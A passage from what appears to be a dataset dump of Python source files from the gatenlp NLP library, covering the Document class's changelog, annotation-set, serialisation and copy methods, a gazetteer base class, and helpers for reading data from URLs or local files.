change.get(\"feature\")\n fvalue = change.get(\"value\")\n features = change.get(\"features\")\n sname = change.get(\"set\")\n annid = change.get(\"id\")\n if cmd is None:\n raise Exception(\"Change without field 'command'\")\n if cmd == ACTION_ADD_ANNSET:\n assert sname is not None\n self.annset(sname)\n elif cmd == ACTION_ADD_ANN:\n assert sname is not None\n assert annid is not None\n anns = self.annset(sname)\n ann = anns.get(annid)\n start = change.get(\"start\")\n end = change.get(\"end\")\n anntype = change.get(\"type\")\n\n if ann is None:\n anns.add(start, end, anntype, annid=annid, features=features)\n else:\n if handle_existing_anns == ADDANN_IGNORE:\n pass\n elif handle_existing_anns == ADDANN_ADD_WITH_NEW_ID:\n anns.add(start, end, anntype)\n elif handle_existing_anns == ADDANN_REPLACE_ANNOTATION:\n anns.remove(annid)\n anns.add(start, end, anntype, annid)\n elif handle_existing_anns == ADDANN_UPDATE_FEATURES:\n ann.features.update(features)\n elif handle_existing_anns == ADDANN_REPLACE_FEATURES:\n ann.features.clear()\n ann.features.update(features)\n elif handle_existing_anns == ADDANN_ADD_NEW_FEATURES:\n fns = ann.features.names()\n for f in features.keys():\n if f not in fns:\n ann.features[f] = features[f]\n elif handle_existing_anns == ADDANN_IGNORE:\n pass\n\n elif cmd == ACTION_CLEAR_ANNS:\n assert sname is not None\n anns = self.annset(sname)\n anns.clear()\n elif cmd == ACTION_CLEAR_ANN_FEATURES:\n assert sname is not None\n assert annid is not None\n anns = self.annset(sname)\n ann = anns.get(annid)\n if ann is not None:\n ann.features.clear()\n else:\n pass # ignore, could happen with a detached annotation\n elif cmd == ACTION_CLEAR_DOC_FEATURES:\n self.features.clear()\n elif cmd == ACTION_SET_ANN_FEATURE:\n assert fname is not None\n assert sname is not None\n assert annid is not None\n ann = self.annset(sname).get(annid)\n ann.features[fname] = fvalue\n elif cmd == ACTION_DEL_ANN_FEATURE:\n assert sname is not None\n assert annid is not None\n anns = self.annset(sname)\n ann = anns.get(annid)\n if ann is not None:\n if fname is not None:\n ann.features.pop(fname, None)\n else:\n pass # ignore, could happen with a detached annotation\n elif cmd == ACTION_DEL_DOC_FEATURE:\n assert fname is not None\n self.features.pop(fname, None)\n elif cmd == ACTION_DEL_ANN:\n assert sname is not None\n assert annid is not None\n anns = self.annset(sname)\n anns.remove(annid)\n elif cmd == ACTION_SET_DOC_FEATURE:\n assert fname is not None\n self.features[fname] = fvalue\n elif cmd == ACTION_CLEAR_DOC_FEATURES:\n self._features.clear()\n elif cmd == ACTION_DEL_DOC_FEATURE:\n assert fname is not None\n del self._features[fname]\n else:\n raise Exception(\"Unknown ChangeLog action: \", cmd)\n\n @property\n def features(self):\n \"\"\"Accesses the features as a FeatureViewer instance. Changes made on this object are\n reflected in the document and recorded in the change log, if there is one.\n\n :return: A FeatureViewer view of the document features.\n\n Args:\n\n Returns:\n\n \"\"\"\n return self._features\n\n @property\n def changelog(self):\n \"\"\"Get the ChangeLog or None if no ChangeLog has been set.\n\n :return: the changelog\n\n Args:\n\n Returns:\n\n \"\"\"\n return self._changelog\n\n @changelog.setter\n def changelog(self, chlog):\n \"\"\"Make the document use the given changelog to record all changes\n from this moment on.\n\n Args:\n chlog: the new changelog to use or None to not use any\n\n Returns:\n the changelog used previously or None\n\n \"\"\"\n self._changelog = chlog\n\n @property\n def text(self) -> str:\n \"\"\"Get the text of the document. For a partial document, the text may be None.\n\n :return: the text of the document\n\n Args:\n\n Returns:\n\n \"\"\"\n self._ensure_type_python()\n return self._text\n\n @text.setter\n def text(self, value: str) -> None:\n \"\"\"\n Set the text of the document. This is only possible as long as it has not been set\n yet, after that, the text is immutable.\n\n IMPORTANT: it is possible to add arbitrary annotations to a document which does not have any\n text. This is meant to allow handling of annotation-only representations.\n However, if the text is set after annotations have been added, annotation offsets are not\n checked and it is possible to thus create an invalid document where annotations refer to\n text ranges that do not exist!\n\n Args:\n value: the text for the document\n value: str:\n\n Returns:\n\n \"\"\"\n if self._text is None:\n self._text = value\n else:\n raise NotImplementedError(\"Text cannot be modified\")\n\n def _log_feature_change(\n self, command: str, feature: str = None, value=None\n ) -> None:\n \"\"\"\n\n Args:\n command: str:\n feature: str: (Default value = None)\n value: (Default value = None)\n\n Returns:\n\n \"\"\"\n if self._changelog is None:\n return\n command = \"doc-\" + command\n ch = {\"command\": command}\n if command == \"doc-feature:set\":\n ch[\"feature\"] = feature\n ch[\"value\"] = value\n self._changelog.append(ch)\n\n def __len__(self) -> int:\n \"\"\"\n Return the length of the text.\n Note: this will convert the type of the document to python!\n\n :return: the length of the document text\n \"\"\"\n self._ensure_type_python()\n if self._text is None:\n return 0\n else:\n return len(self._text)\n\n def __getitem__(self, span) -> str:\n \"\"\"\n Get the text for the given span.\n\n :param span: a single number, an offset range of the form from:to or an annotation.\n If annotation, uses the annotation's offset span.\n :return: the text of the span\n \"\"\"\n self._ensure_type_python()\n if isinstance(span, Annotation):\n return self.text[span._start:span._end]\n if isinstance(span, AnnotationSet):\n return self.text[span.start():span.end()]\n if hasattr(span, \"start\") and hasattr(span, \"end\"):\n return self.text[span.start:span.end]\n return self.text[span]\n\n def annset(self, name: str = \"\") -> AnnotationSet:\n \"\"\"\n Get the named annotation set, if name is not given or the empty string,\n the default annotation set.\n If the annotation set does not already exist, it is created.\n\n Args:\n name: the annotation set name, the empty string is used for the\n \"default annotation set\".\n name: str: (Default value = \"\")\n\n Returns:\n the specified annotation set.\n\n \"\"\"\n self._ensure_type_python()\n if name not in self._annotation_sets:\n annset = AnnotationSet(owner_doc=self, name=name)\n self._annotation_sets[name] = annset\n if self._changelog:\n self._changelog.append({\"command\": \"annotations:add\", \"set\": name})\n return annset\n else:\n return self._annotation_sets[name]\n\n def annset_names(self) -> List[str]:\n \"\"\"\n\n Args:\n\n Returns:\n :return: annotation set names\n\n \"\"\"\n self._ensure_type_python()\n return list(self._annotation_sets.keys())\n\n def remove_annset(self, name: str):\n \"\"\"Completely remove the annotation set.\n\n Args:\n name: name of the annotation set to remove\n name: str:\n\n Returns:\n\n \"\"\"\n if name not in self._annotation_sets:\n raise Exception(f\"AnnotationSet with name {name} does not exist\")\n del self._annotation_sets[name]\n if self._changelog:\n self._changelog.append({\"command\": \"annotations:remove\", \"set\": name})\n\n def anns(self, ann_spec):\n \"\"\"\n Return a detached annotation set with all annotations which match the annotation specification.\n\n Args:\n annset_spec: either a single string which is interpreted as an annotation set name, or a list where\n each element is either a string (annotation set name) or a tuple. If an element is a tuple, the\n first element of the tuple must be the annotation set name and the second element either a type\n name or a list of type names.\n\n Returns:\n a detached, immutable set with all the annotations matching the annotation specification\n \"\"\"\n return AnnotationSet.create_from(self.yield_anns(ann_spec))\n\n def yield_anns(self, ann_spec):\n \"\"\"\n Yield all annotations which match the annotation specification.\n The order of the annotations is unespecified.\n\n Args:\n annset_spec: either a single string which is interpreted as an annotation set name, or a list where\n each element is either a string (annotation set name) or a tuple. If an element is a tuple, the\n first element of the tuple must be the annotation set name and the second element either a type\n name or a list of type names.\n\n Yields:\n all the annotations matching the annotation specification\n \"\"\"\n if isinstance(ann_spec, str):\n tmpset = self._annotation_sets.get(ann_spec)\n if tmpset is not None:\n for ann in tmpset._annotations.values():\n yield ann\n return\n for spec in ann_spec:\n if isinstance(spec, str):\n tmpset = self._annotation_sets.get(spec)\n if tmpset is not None:\n for ann in tmpset._annotations.values():\n yield ann\n else:\n setname, types = spec\n if isinstance(types, str):\n types = [types]\n tmpset = self._annotation_sets.get(setname)\n if tmpset is not None:\n for ann in tmpset._annotations.values():\n if ann.type in types:\n yield ann\n\n def __repr__(self) -> str:\n \"\"\"\n String representation of the document, showing all content.\n\n :return: string representation\n \"\"\"\n return \"Document({},features={},anns={})\".format(\n self.text, self._features, self._annotation_sets.__repr__()\n )\n\n def __str__(self) -> str:\n asets = (\n \"[\"\n + \",\".join([f\"'{k}':{len(v)}\" for k, v in self._annotation_sets.items()])\n + \"]\"\n )\n return \"Document({},features={},anns={})\".format(\n self.text, self._features, asets\n )\n\n def to_dict(self, offset_type=None, annsets=None, **kwargs):\n \"\"\"Convert this instance to a dictionary that can be used to re-create the instance with\n from_dict.\n NOTE: if there is an active changelog, it is not included in the output as this\n field is considered a transient field!\n\n Args:\n offset_type: convert to the given offset type on the fly (Default value = None)\n annsets: if not None, a list of annotation set/type specifications: each element\n is either a string, the name of the annotation set to include, or a tuple where the\n first element is the annotation set name and the second element is either a\n type name or a list of type names. The same annotation set name should not be used\n in more than one specification.\n **kwargs: get passed on to the to_dict methods of included objects.\n\n Returns:\n the dictionary representation of this instance\n\n \"\"\"\n # if the specified offset type is equal to what we have, do nothing, otherwise\n # create an offset mapper and pass it down to where we actually convert the annotations\n\n if offset_type is not None:\n assert offset_type == OFFSET_TYPE_JAVA or offset_type == OFFSET_TYPE_PYTHON\n if offset_type != self.offset_type:\n if self._text is not None:\n om = OffsetMapper(self._text)\n kwargs[\"offset_mapper\"] = om\n kwargs[\"offset_type\"] = offset_type\n else:\n offset_type = self.offset_type\n\n # create the annotation sets map\n if annsets is not None:\n annsets_dict = {}\n for spec in annsets:\n if isinstance(spec, str):\n tmpset = self._annotation_sets.get(spec)\n if tmpset is not None:\n annsets_dict[spec] = tmpset.to_dict(**kwargs)\n else:\n setname, types = spec\n if isinstance(types, str):\n types = [types]\n tmpset = self._annotation_sets.get(setname)\n if tmpset is not None:\n annsets_dict[setname] = self._annotation_sets[setname].to_dict(\n anntypes=types, **kwargs\n )\n else:\n annsets_dict = {\n name: aset.to_dict(**kwargs)\n for name, aset in self._annotation_sets.items()\n }\n\n return {\n \"annotation_sets\": annsets_dict,\n \"text\": self._text,\n \"features\": self._features.to_dict(),\n \"offset_type\": offset_type,\n \"name\": self.name,\n }\n\n @staticmethod\n def from_dict(dictrepr, **_kwargs):\n \"\"\"Return a Document instance as represented by the dictionary dictrepr.\n\n Args:\n dictrepr: return: the initialized Document instance\n **_kwargs: not used, ignored\n\n Returns:\n the initialized Document instance\n\n \"\"\"\n feats = dictrepr.get(\"features\")\n doc = Document(dictrepr.get(\"text\"), features=feats)\n doc.name = dictrepr.get(\"name\")\n doc.offset_type = dictrepr.get(\"offset_type\")\n if (\n doc.offset_type != OFFSET_TYPE_JAVA\n and doc.offset_type != OFFSET_TYPE_PYTHON\n ):\n raise Exception(\"Invalid offset type, cannot load: \", doc.offset_type)\n annsets = {\n name: AnnotationSet.from_dict(adict, owner_doc=doc)\n for name, adict in dictrepr.get(\"annotation_sets\").items()\n }\n doc._annotation_sets = annsets\n return doc\n\n def save(\n self,\n destination,\n fmt=None,\n offset_type=None,\n mod=\"gatenlp.serialization.default\",\n annsets=None,\n **kwargs,\n ):\n \"\"\"Save the document to the destination file.\n\n Args:\n destination: either a file name or something that has a write(string) method.\n fmt: serialization format, by default the format is inferred from the file extension.\n offset_type: store using the given offset type or keep the current if None\n (Default value = None)\n mod: module where the document saver is implemented.\n (Default value = \"gatenlp.serialization.default\")\n annsets: if not None, a list of annotation set names or tuples of set name and a\n list of annotation types to include in the serialized document.\n kwargs: additional parameters for the document saver.\n \"\"\"\n if annsets is not None:\n kwargs[\"annsets\"] = annsets\n if fmt is None or isinstance(fmt, str):\n m = importlib.import_module(mod)\n saver = m.get_document_saver(destination, fmt)\n saver(Document, self, to_ext=destination, offset_type=offset_type, **kwargs)\n else:\n # assume fmt is a callable to get used directly\n fmt(Document, self, to_ext=destination, offset_type=offset_type, **kwargs)\n\n def save_mem(\n self,\n fmt=\"json\",\n offset_type=None,\n mod=\"gatenlp.serialization.default\",\n **kwargs,\n ):\n \"\"\"Serialize to a string or bytes in the given format.\n\n Args:\n fmt: serialization format to use. (Default value = \"json\")\n offset_type: store using the given offset type or keep the current if None\n (Default value = None)\n mod: module where the document saver is implemented.\n (Default value = \"gatenlp.serialization.default\")\n kwargs: additional parameters for the format.\n \"\"\"\n if not fmt:\n raise Exception(\"Format required.\")\n if isinstance(fmt, str):\n m = importlib.import_module(mod)\n saver = m.get_document_saver(None, fmt)\n return saver(Document, self, to_mem=True, offset_type=offset_type, **kwargs)\n else:\n fmt(Document, self, to_mem=True, offset_type=offset_type, **kwargs)\n\n @staticmethod\n def load(source, fmt=None, mod=\"gatenlp.serialization.default\", **kwargs):\n \"\"\"\n Load or import a document from the given source. The source can be a file path or\n file name or a URL. If the type of the source is str, then if it starts with\n \"http[s]://\" it will get treated as a URL. In order to deliberatly use a file instead of\n a URL, create a pathlib Path, in order to deliberately use URL instead of a file parse\n the URL using urllib.\n\n Example: `Document.load(urllib.parse.urlparse(someurl), fmt=theformat)`\n\n Example: `Document.load(pathlib.Path(somepath), fmt=theformat)`\n\n NOTE: the offset type of the document is always converted to PYTHON when loading!\n\n Args:\n source: the URL or file path to load from.\n fmt: the format of the source. By default the format is inferred by the file extension.\n The format can be a format memnonic like \"json\", \"html\", or a known mime type\n like \"text/bdocjs\".\n mod: the name of a module where the document loader is implemented.\n (Default value = \"gatenlp.serialization.default\")\n kwargs: additional format specific keyword arguments to pass to the loader\n\n Returns:\n the loaded document\n \"\"\"\n if fmt is None or isinstance(fmt, str):\n m = importlib.import_module(mod)\n loader = m.get_document_loader(source, fmt)\n doc = loader(Document, from_ext=source, **kwargs)\n else:\n doc = fmt(Document, from_ext=source, **kwargs)\n if doc.offset_type == OFFSET_TYPE_JAVA:\n doc.to_offset_type(OFFSET_TYPE_PYTHON)\n return doc\n\n @staticmethod\n def load_mem(source, fmt=\"json\", mod=\"gatenlp.serialization.default\", **kwargs):\n \"\"\"\n Create a document from the in-memory serialization in source. Source can be a string or\n bytes, depending on the format.\n\n Note: the offset type is always converted to PYTHON when loading!\n\n Args:\n source: the string/bytes to deserialize\n fmt: if string, the format identifier or mime type (Default value = \"json\"), otherwise\n assumed to be a callable that retrieves and returns the document\n mod: the name of the module where the loader is implemented\n (Default value = \"gatenlp.serialization.default\")\n kwargs: additional arguments to pass to the loader\n \"\"\"\n if not fmt:\n raise Exception(\"Format required.\")\n if isinstance(fmt, str):\n m = importlib.import_module(mod)\n loader = m.get_document_loader(None, fmt)\n doc = loader(Document, from_mem=source, **kwargs)\n else:\n doc = fmt(Document, from_mem=source, **kwargs)\n if doc.offset_type == OFFSET_TYPE_JAVA:\n doc.to_offset_type(OFFSET_TYPE_PYTHON)\n return doc\n\n def __copy__(self):\n \"\"\"\n Creates a shallow copy except the changelog which is set to None. The document feature map is\n a new instance, so features added in one copy will not show up in the other. However if\n feature values of copied features are objects, they are shared between the copies.\n Annotation sets are separate but the features of shared annotations are shared.\n\n Returns:\n shallow copy of the document\n \"\"\"\n doc = Document(self._text)\n doc._annotation_sets = dict()\n for name, aset in self._annotation_sets.items():\n doc._annotation_sets[name] = aset.copy()\n doc._annotation_sets[name]._owner_doc = doc\n doc.offset_type = self.offset_type\n doc._features = self._features.copy()\n return doc\n\n def copy(self, annsets=None):\n \"\"\"\n Creates a shallow copy except the changelog which is set to None. If annsets is specified,\n creates a shallow copy but also limits the annotations to the one specified.\n\n Args:\n annsets: if not None, a list of annotation set/type specifications: each element\n is either a string, the name of the annotation set to include, or a tuple where the\n first element is the annotation set name and the second element is either a\n type name or a list of type names. The same annotation set name should not be used\n in more than one specification.\n\n Returns:\n shallow copy of the document, optionally with some annotations removed\n \"\"\"\n if annsets is None:\n return self.__copy__()\n doc = Document(self._text)\n doc.offset_type = self.offset_type\n doc._features = self._features.copy()\n doc._annotation_sets = dict()\n for spec in annsets:\n if isinstance(spec, str):\n tmpset = self._annotation_sets.get(spec)\n if tmpset is not None:\n doc._annotation_sets[spec] = self._annotation_sets[spec].copy()\n doc._annotation_sets[spec]._owner_doc = doc\n else:\n setname, types = spec\n if isinstance(types, str):\n types = [types]\n tmpset = self._annotation_sets.get(setname)\n if tmpset is not None:\n annset = AnnotationSet(owner_doc=doc, name=setname)\n anns = self.annset(setname).with_type(types)\n for ann in anns:\n annset.add_ann(ann)\n doc._annotation_sets[setname] = annset\n return doc\n\n def deepcopy(self, annsets=None, memo=None):\n \"\"\"\n Creates a deep copy, except the changelog which is set to None. If annset is not None, the\n annotations in the copy are restricted to the given set.\n\n Args:\n memo: the memoization dictionary to use.\n annsets: which annsets and types to include\n\n Returns:\n a deep copy of the document.\n \"\"\"\n if self._features is not None:\n fts = lib_copy.deepcopy(self._features.to_dict(), memo)\n else:\n fts = None\n doc = Document(self._text, features=fts)\n doc._changelog = None\n doc.offset_type = self.offset_type\n if annsets is None:\n doc._annotation_sets = lib_copy.deepcopy(self._annotation_sets, memo)\n else:\n doc._annotation_sets = dict()\n for spec in annsets:\n if isinstance(spec, str):\n tmpset = self._annotation_sets.get(spec)\n if tmpset is not None:\n doc._annotation_sets[spec] = lib_copy.deepcopy(tmpset, memo)\n doc._annotation_sets[spec]._owner_doc = doc\n else:\n setname, types = spec\n if isinstance(types, str):\n types = [types]\n tmpset = self._annotation_sets.get(setname)\n if tmpset is not None:\n annset = AnnotationSet(owner_doc=doc, name=setname)\n anns = tmpset.with_type(types)\n for ann in anns:\n annset.add_ann(lib_copy.deepcopy(ann, memo))\n doc._annotation_sets[setname] = annset\n return doc\n\n def __deepcopy__(self, memo=None):\n \"\"\"\n Creates a deep copy, except the changelog which is set to None.\n\n Args:\n memo: the memoization dictionary to use.\n\n Returns:\n a deep copy of the document.\n \"\"\"\n return lib_copy.deepcopy(self, memo=memo)\n\n def _repr_html_(self):\n \"\"\"\n Render function for Jupyter notebooks. Returns the html-ann-viewer HTML.\n This renders the HTML for notebook, for offline mode, but does not add the JS\n but instead initializes the JS in the notebook unless gatenlp.init_notebook()\n has bee called already.\n \"\"\"\n if in_colab():\n return self._show_colab(display=False)\n else:\n return self._show_notebook(display=False)\n\n # TODO: maybe allow manual selection of how to show the document, e.g. also by\n # writing to a tmp file and browsing in a browser, or pprint etc.\n def show(self, to=None, htmlid=None, annsets=None, doc_style=None):\n \"\"\"\n Show the document, possibly in a Jupyter notebook. This allows to assign a specific htmlid so\n the generated HTML can be directly styled afterwards.\n This directly sends the rendered document to the cell (no display/HTML necessary) if\n the destination is a notebook.\n\n Args:\n to: if None, try to guess if this is called from within a notebook and if yes, which kind.\n Otherwise, explicitly specify where to show the document to, one of \"console\", \"jupyter\",\n \"colab\".\n htmlid: the HTML id prefix to use for classes and element ids.\n annsets: if not None, a list of annotation set/type specifications.\n Each element is either\n the name of a set to fully include, or a tuple with the name of the set as\n the first element\n and with a single type name or a list of type names as the second element\n doc_style: if not None, use this as the style for the document text box\n \"\"\"\n if to == \"colab\":\n self._show_colab(htmlid=htmlid, display=True, annsets=annsets, doc_style=doc_style)\n return\n elif to == \"jupyter\":\n self._show_notebook(htmlid=htmlid, display=True, annsets=annsets, doc_style=doc_style)\n return\n elif to == \"console\":\n return self.__str__()\n elif to is not None:\n raise Exception(f\"Not a valid value for parameter to: {to}. Use one of console, jupyter, colab\")\n if in_notebook():\n if in_colab():\n self._show_colab(htmlid=htmlid, display=True, annsets=annsets, doc_style=doc_style)\n return\n else:\n self._show_notebook(htmlid=htmlid, display=True, annsets=annsets, doc_style=doc_style)\n return\n else:\n return self.__str__()\n\n def _show_colab(self, htmlid=None, display=False, annsets=None, doc_style=None):\n from gatenlp.serialization.default import JS_GATENLP_URL, JS_JQUERY_URL\n from IPython.display import display_html, Javascript\n from IPython.display import display as i_display\n\n i_display(Javascript(url=JS_JQUERY_URL))\n i_display(Javascript(url=JS_GATENLP_URL))\n html = self.save_mem(\n fmt=\"html-ann-viewer\",\n notebook=True,\n add_js=False,\n offline=True,\n htmlid=htmlid,\n annsets=annsets,\n doc_style=doc_style,\n )\n if display:\n display_html(html, raw=True)\n else:\n return html\n\n def _show_notebook(self, htmlid=None, display=False, annsets=None, doc_style=None):\n from gatenlp.gatenlpconfig import gatenlpconfig\n from gatenlp.serialization.default import HtmlAnnViewerSerializer\n from IPython.display import display_html\n\n if not gatenlpconfig.notebook_js_initialized:\n HtmlAnnViewerSerializer.init_javscript()\n gatenlpconfig.notebook_js_initialized = True\n html = self.save_mem(\n fmt=\"html-ann-viewer\",\n notebook=True,\n add_js=False,\n offline=True,\n htmlid=htmlid,\n annsets=annsets,\n doc_style=doc_style,\n )\n if display:\n display_html(html, raw=True)\n else:\n return html\n\n def attach(self, annset, name, check=True):\n \"\"\"\n Attach a detached set to the document. This should get used with caution and is mainly\n intended for use inside the gatenlp library to allow for fast incremental creation of\n new documents and document sets. The set can only be added if a set with the given name\n does not yet exist at all.\n\n Args:\n annset: the annotation set to attach\n name: the name for the annotation set\n check: if False, prevent any checking. WARNING: this may create an inconsistent/illegal document!\n \"\"\"\n if name in self._annotation_sets:\n raise Exception(f\"Cannot attach set, a set with the name {name} already exists\")\n if check:\n # check if the offsets are consistent with the document\n mylen = len(self)\n for ann in annset._annotations.values():\n if ann.end > mylen:\n raise Exception(f\"Cannot attach set, annotation beyond text end: {ann}\")\n self._annotation_sets[name] = annset\n annset._owner_doc = self\n\n\n# class MultiDocument(Document):\n# \"\"\"\n# NOTE: This is just experimental for now, DO NOT USE!\n#\n# A MultiDocument can store more than one document, each identified by their ids. One of those\n# documents is always the \"active\" one and the MultiDocument can be used just like a Document\n# with that content. In addition, there are methods to make each of the other documents active\n# and to create mappings between annotations of pairs of documents.\n#\n# An AnnotationMapping is something that maps annotations to annotations, either for the same\n# document, from the same or different sets, of for different documents. Once an annotation\n# becomes part of a mapping, that annotation is becoming immutable. Even if the original\n# annotation in the document changes or gets removed, the mapping retains the original copy of\n# the annotation until the mapping is modified or removed.\n# \"\"\"\n#\n# # TODO: ALL necessary fields of the document must be references of mutable objects so that\n# # if something is changed for the active document the one stored in the documents map is\n# # really updated as well, or we must override the updating method to change both!\n# # A better way could be to override all methods to always directly change the document in the\n# # documents map, and simply pass on all calls to the activated document.\n# # In that case, to_dict and from_dict would actually generate the fields for normal document\n# # readers and ignore them on restore\n# def __init__(\n# self, text: str = None, features=None, changelog: ChangeLog = None, docid=0\n# ):\n# logger.warning(\"Experimental feature, DO NOT USE\")\n# self.documents = {} # map from document id to document\n# self._mappings = None # TODO: we need to implement this\n# self._docid = None\n# doc = Document(text, features=features, changelog=changelog)\n# self.documents[docid] = doc\n# self.activate(docid)\n#\n# @property\n# def docid(self):\n# return self._docid\n#\n# def activate(self, docid=0):\n# if docid not in self.documents:\n# raise Exception(f\"Cannot activate id {docid}, not in MultiDocument\")\n# doc = self.documents[docid]\n# self._changelog = doc._changelog\n# self._features = doc._features\n# self._annotation_sets = doc._annotation_sets\n# self._text = doc._text\n# self.offset_type = OFFSET_TYPE_PYTHON\n# self._name = doc._name\n# self._docid = docid\n#\n# def add_document(self, doc, docid=None, activate=False):\n# if docid is None:\n# docid = len(self.documents)\n# elif docid in self.documents:\n# raise Exception(\n# f\"Cannot add document to MultiDocument, id {docid} already exists\"\n# )\n# self.documents[docid] = doc\n# if activate:\n# self.activate(docid)\n# return docid\n#\n# def to_dict(self, offset_type=None, **kwargs):\n# # TODO: check what to do with the offset type parameter!\n# # The basic strategy is that we simply create the dictionary for the active document plus\n# # the entries for the documents map and the annotation mappings. That way, any reader of the\n# # dict representation which just ignored unknown fields can still read this in as a normal\n# # document from the active document.\n# # The drawback is that the active document is represented twice, but OK\n# thedict = {\n# \"annotation_sets\": {\n# name: aset.to_dict() for name, aset in self._annotation_sets.items()\n# },\n# \"text\": self._text,\n# \"features\": self._features.to_dict(),\n# \"offset_type\": self.offset_type,\n# \"name\": self.name,\n# }\n# thedict[\"documents\"] = {\n# docid: doc.to_dict() for docid, doc in self.documents.items()\n# }\n# thedict[\"docid\"] = self._docid\n# thedict[\"mappings\"] = self._mappings\n# return thedict\n#\n# @staticmethod\n# def from_dict(dictrepr, **kwargs):\n# \"\"\"\n# Create a MultiDocument from the dictionary representation.\n#\n# Args:\n# dictrepr: the dictionary representation\n# **kwargs: additional kwargs to pass on\n#\n# Returns:\n#\n# \"\"\"\n# feats = dictrepr.get(\"features\")\n# docid = dictrepr.get(\"docid\")\n# doc = MultiDocument(dictrepr.get(\"text\"), features=feats, docid=docid)\n# doc.name = dictrepr.get(\"name\")\n# doc.offset_type = dictrepr.get(\"offset_type\")\n# if (\n# doc.offset_type != OFFSET_TYPE_JAVA\n# and doc.offset_type != OFFSET_TYPE_PYTHON\n# ):\n# raise Exception(\"Invalid offset type, cannot load: \", doc.offset_type)\n# annsets = {\n# name: AnnotationSet.from_dict(adict, owner_doc=doc)\n# for name, adict in dictrepr.get(\"annotation_sets\").items()\n# }\n# doc._annotation_sets = annsets\n# doc.documents = {\n# did: Document.from_dict(d)\n# for did, d in dictrepr.get(\"documents\", {}).items()\n# }\n# # TODO: get the mappings back!\n# return doc\n" }, { "alpha_fraction": 0.7379032373428345, "alphanum_fraction": 0.7379032373428345, "avg_line_length": 26.66666603088379, "blob_id": "518ec62a7af89615d482a790b4afa153ba618726", "content_id": "023ad0ec1ecfddfe6a97dd4ced968626d7c882bb", "detected_licenses": [ "Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 248, "license_type": "permissive", "max_line_length": 69, "num_lines": 9, "path": "/gatenlp/processing/gazetteer/base.py", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "\"\"\"\nBase class for all gazetteer annotators\n\"\"\"\nfrom gatenlp.processing.annotator import Annotator\n\n\nclass GazetteerAnnotator(Annotator):\n def __call__(self, *args, **kwargs):\n raise RuntimeError(\"Not implemented in Gazetteer base class\")" }, { "alpha_fraction": 0.8682170510292053, "alphanum_fraction": 0.8682170510292053, "avg_line_length": 42.16666793823242, "blob_id": "bcd86cacdef5a68ea2bf2c6f59f1570027037e78", "content_id": "ee105936350d6236a3d94f4156acdf0fcadad3e4", "detected_licenses": [ "Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 258, "license_type": "permissive", "max_line_length": 72, "num_lines": 6, "path": "/gatenlp/processing/gazetteer/__init__.py", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "\"\"\"\nModule for various gazetteer annotator implementations.\n\"\"\"\nfrom gatenlp.processing.annotator import Annotator\nfrom gatenlp.processing.gazetteer.tokengazetteer import TokenGazetteer\nfrom gatenlp.processing.gazetteer.stringgazetteer import StringGazetteer" }, { "alpha_fraction": 0.6097419261932373, "alphanum_fraction": 0.6106117963790894, "avg_line_length": 27.04878044128418, "blob_id": "4e73d8f22d9aede63264ada32ee0ca57196e356e", "content_id": "e821d9683dde4d5381d6f46df6e9faaf0bc632bc", "detected_licenses": [ "Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3449, "license_type": "permissive", "max_line_length": 114, "num_lines": 123, "path": "/gatenlp/urlfileutils.py", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "\"\"\"\nModule for functions that help reading binary and textual data from either URLs or local files.\n\"\"\"\n\nfrom io import TextIOWrapper\nfrom pathlib import Path\nfrom urllib.parse import ParseResult\nfrom urllib.request import urlopen\n\nimport requests\n\n\ndef is_url(ext):\n \"\"\"\n Returns a tuple (True, urlstring) if ext should be interpreted as a (HTTP(s)) URL, otherwise false, pathstring\n If ext is None, returns None, None.\n\n Args:\n ext: something that represents an external resource: string, url parse, pathlib path object ...\n\n Returns:\n a tuple (True, urlstring) or (False,pathstring)\n\n \"\"\"\n if ext is None:\n return None, None\n if isinstance(ext, str):\n if ext.startswith(\"http://\") or ext.startswith(\"https://\"):\n return True, ext\n else:\n # for now, if we have ext starting with file:// we just remove that part and assume the\n # rest is supposed to be a proper file path\n if ext.startswith(\"file://\"):\n ext = ext[7:]\n return False, ext\n elif isinstance(ext, Path):\n return False, str(ext)\n elif isinstance(ext, ParseResult):\n return True, ext.geturl()\n else:\n raise Exception(f\"Odd type: {ext}\")\n\n\ndef get_str_from_url(url, encoding=None): # pragma: no cover\n \"\"\"Read a string from the URL.\n\n Args:\n url: some URL\n encoding: override the encoding that would have determined automatically (Default value = None)\n\n Returns:\n the string\n \"\"\"\n req = requests.get(url)\n if encoding is not None:\n req.encoding = encoding\n return req.text\n\n\ndef get_bytes_from_url(url): # pragma: no cover\n \"\"\"\n Reads bytes from url.\n\n Args:\n url: the URL\n\n Returns:\n the bytes\n \"\"\"\n req = requests.get(url)\n return req.content\n\n\ndef yield_lines_from(url_or_file, encoding=\"utf-8\"): # pragma: no cover\n \"\"\"\n Yields lines of text from either a file or an URL\n\n Args:\n url_or_file: either a file path or URL. If this is a string, then it is interpreted as an URL\n only if it starts with http:// or https://, otherwise it can be a parsed urllib url\n or a pathlib path\n encoding: the encoding to use\n \"\"\"\n isurl, extstr = is_url(url_or_file)\n if isurl is None:\n return\n if isurl:\n for line in urlopen(extstr):\n line = line.decode(encoding)\n yield line\n else:\n with open(extstr, \"rt\", encoding=encoding) as infp:\n for line in infp:\n yield line\n\n\ndef stream_from(url_or_file, encoding=\"utf-8\"): # pragma: no cover\n \"\"\"\n Return an open stream from either the URL or the file, if encoding is None, in binary mode, otherwise\n in text mode with the given encoding.\n\n Args:\n url_or_file: URL or file\n encoding: if None, open in binary mode, otherwise in text mode with this encoding\n\n Returns:\n open stream or None if we cannot determine if it is an URL or file\n\n \"\"\"\n isurl, extstr = is_url(url_or_file)\n if isurl is None:\n return\n if isurl:\n tmpfp = urlopen(extstr)\n if encoding is not None:\n return TextIOWrapper(tmpfp, encoding=encoding)\n else:\n return tmpfp\n else:\n if encoding is not None:\n return open(extstr, \"rt\", encoding=encoding)\n else:\n return open(extstr, \"rb\")" }, { "alpha_fraction": 0.5745075941085815, "alphanum_fraction": 0.5762727856636047, "avg_line_length": 39.314605712890625, "blob_id": "f12ba8025c2002d372b88df14b2ef05716c26002", "content_id": "a7641eec8122f15991dc897dc20ebeb0e83b0d20", "detected_licenses": [ 